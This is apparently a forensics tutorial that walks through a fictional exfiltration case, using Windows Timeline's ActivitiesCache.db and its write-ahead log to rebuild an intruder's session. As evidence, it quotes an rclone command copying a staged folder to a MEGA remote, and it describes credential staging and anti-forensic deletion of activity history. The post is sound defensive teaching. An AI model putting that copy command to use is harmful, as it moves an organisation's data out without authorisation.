Windows Timeline Investigation: An Exfiltration Case

TL;DR. In this fictional case, the Timeline of account svc_backup on workstation FIN-WKS-07 shows a tool archive opened from Downloads, a credentials file read in Notepad, a net use command on the clipboard, an RDP session, a payroll share browsed, an Excel file opened from E:\exfil, five minutes of focus in rclone.exe from C:\Users\Public, an rclone copy ... mega: command on the clipboard, and a pending delete of the Notepad entry. The last five items exist only in the WAL.

Scenario notice. Everything below is invented: the organisation, host, account, files and times. It matches the "Try a sample" database on the Windows Timeline Parser home page, so you can follow along with the same rows. The story continues the svc_backup intrusion used across this family of parser sites.

The call

Monday 14 September 2026, mid-afternoon. The finance team's file server FILESRV01 shows an unusual read burst on \\FILESRV01\Finance\Payroll late that morning. The account behind it is svc_backup, a service account that should never log on interactively. The only workstation where it has a profile is FIN-WKS-07. The machine is still running.

The responder runs a triage collection that includes the WindowsTimeline KAPE target, so C:\Users\svc_backup\AppData\Local\ConnectedDevicesPlatform\L.svc_backup\ comes back with ActivitiesCache.db and ActivitiesCache.db-wal (acquisition guide).

The first question: did a person use this account at the keyboard, and what did they do?

First pass: load and read the counters

Dropping the collection ZIP into the tool pairs the database with its WAL and attributes it to svc_backup from the Users\svc_backup\ path. No warnings: the WAL matches, all frames are committed.

The counters are the first finding. There are activities of every interesting kind, clipboard items, and a deletion. Several rows are marked only in the WAL: they were written after the last checkpoint. Had the responder taken the database alone, those rows would not exist.

The session, row by row

Times are UTC. The payload's userTimezone is Europe/Paris (UTC+2 on that date), so the user's clock read two hours later.

Reading it the way the proof-of-execution article recommends:

A human was at the keyboard. Focus time in cmd.exe, Notepad, mstsc.exe, Explorer and rclone.exe is interactive use, not a scheduled job. A service account with twenty minutes of foreground activity is a finding in itself.

Tooling arrived as an archive. tools.zip in the account's Downloads folder, opened with 7-Zip four minutes after the session began. The next step is the USN journal and Prefetch for what came out of it.

Credentials were staged in a file. C:\ProgramData\Intel\creds.txt is not an Intel file. Four minutes of Notepad focus, and a net use command with the account's name copied to the clipboard two minutes later. The clipboard row is type 10 content, which exists only because clipboard history and sync were enabled on this machine (clipboard forensics).

The share was browsed, longer than it first looked. The Explorer focus session on the Payroll folder shows 350 seconds in the checkpointed database, and 770 seconds in the WAL. The row was updated after the checkpoint. Quoting the database alone would halve the time on the share.

The part only the WAL knows

Everything after 10:40 is WAL-only:

• Excel opened Payroll_2026.xlsx from E:\exfil\finance_2026\: a second drive, likely removable. Timeline gives the letter, not the device. LNK files and Jump Lists for Excel carry volume details; USB history comes from the registry.
• rclone.exe ran from C:\Users\Public\, recorded through an x_exe_path AppId (a stand-alone executable, not an installed app), with 318 seconds of focus.
• The clipboard holds the exact command: rclone copy E:\exfil mega:fin-backup --transfers 8. That names the source folder, the remote (mega:, a remote name defined in the user's rclone configuration, per rclone's documentation) and the parallelism.
• At 10:55:20, a delete operation was queued for the creds.txt activity: someone removed that entry from their activity history (anti-forensics). The original Activity row is still there, and the operation itself is timestamped evidence of the clean-up attempt.

Without the WAL, the report would end at an Explorer window on a share. With it, the report has the staging folder, the tool, the command and the clean-up. This is the practical meaning of why the -wal file matters.

Corroboration plan

Timeline gives the narrative; each claim still needs a second witness.

What to write

A defensible summary for the report:

"The activity history database of svc_backup on FIN-WKS-07 (ActivitiesCache.db with its write-ahead log, hashes in appendix) records interactive use of the account between 10:02 and 10:55 UTC on 14 September 2026, including Excel opening E:\exfil\finance_2026\Payroll_2026.xlsx at 10:40:12, 318 seconds of active use of C:\Users\Public\rclone.exe from 10:47:12, and clipboard content consistent with an rclone copy to a remote named mega. These records exist only in the write-ahead log. A deletion of the activity for C:\ProgramData\Intel\creds.txt was queued at 10:55:20."

Then the corroboration table, filled in.

Try it yourself

Open the tool, click Try a sample, and reproduce the table above: tick Flagged only and look for the Only in WAL flag, then switch the type filter to Pending operations. The step-by-step guide explains each control.